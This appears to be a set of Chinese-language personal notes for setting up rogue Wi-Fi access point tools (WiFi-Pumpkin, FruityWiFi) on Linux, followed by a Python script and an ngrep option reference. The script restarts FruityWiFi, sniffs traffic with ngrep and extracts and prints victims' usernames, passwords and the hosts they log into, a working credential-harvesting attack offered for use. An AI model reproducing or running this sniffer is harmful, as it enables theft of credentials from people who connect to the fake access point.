sudo dpkg -i wifi-pumpkin-0.8.4-all.deb
apt-get -f -y install
安装失败的化 执行下面这句话 再安装
sudo apt-get install gdebi-core
sudo gdebi /path/to/filename.deb
判断网卡驱动
modprobe -nv
//------------------------------------
安装前先升级驱动
apt-get -y update && apt-get -y upgrade && apt-get -y dist-upgrade
把 /etc/network/interface
添加
nameserver 114.114.114.114
nameserver 114.114.115.115
重启
apt-get install fruitywifi
/etc/init.d/fruitywifi start
/usr/share/fruitywifi/conf/resolv.conf
添加 nameserver 114.114.114.114
然后 chattr +i resolv.conf
记住要 才能启动
systemctl stop NetworkManager.service
或者干脆
systemctl disable NetworkManager.service
#!/usr/bin/python3
import os
import subprocess
import sys
import urllib.parse
# print("开始监控域名:%s" % sys.argv[1])
print('-----------------------------------------------')
tmp = os.popen('/etc/init.d/fruitywifi restart')
hi = '''ngrep '(use|name|email|id)' -q -i -W byline -d eth0 -l'''
p = subprocess.Popen(hi, shell=True, stdout=subprocess.PIPE)
host = ""
while p.poll() is None:
outs = p.stdout.readline().decode().split('\n')
for outstr in outs:
outstr = outstr.strip()
if outstr.lower().find('host') > -1:
host = outstr
if outstr.lower().find('pass') > -1 and outstr.lower().find('use') > -1 and not host.lower().find('360.cn') > -1:
outlist = outstr.split('&')
u = ''
for i in outlist:
if i.lower().find('user') > -1 and not i.lower().find('pass') > -1:
u = i
if i.lower().find('pass') > -1 and len(u) > 0:
print('用户的信息:' + urllib.parse.unquote(u))
print('密码的信息:' + urllib.parse.unquote(i))
print('子域名信息:' + host.replace('Host:', '').strip())
print('-----------------------------------------------')
ngrep 参数
-e :显示空数据包
-i :忽略大小写
-v :反转匹配
-R :dont do privilege revocation logic
-x :以16进制格式显示
-X :以16进制格式匹配
-w :整字匹配
-p :不使用混杂模式
-l :实时输出
-D :replay pcap_dumps with their recorded time intervals
-t :在每个匹配的包之前显示时间戳
-T :显示上一个匹配的数据包之间的时间间隔
-M :仅进行单行匹配
-I :从文件中读取数据进行匹配
-O :将匹配的数据保存到文件
-n :仅捕获指定数目的数据包进行查看
-A :匹配到数据包后dump随后的指定数目的数据包
-s :set the bpf caplen
-S :set the limitlen on matched packets
-W :设置显示格式byline将解析包中的换行符
-c :强制显示列的宽度
-P :set the non-printable display char to what is specified
-F :使用文件中定义的bpf(Berkeley Packet Filter)
-N :显示由IANA定义的子协议号
-d :使用哪个网卡,可以用-L选项查询
-L :查询网卡接口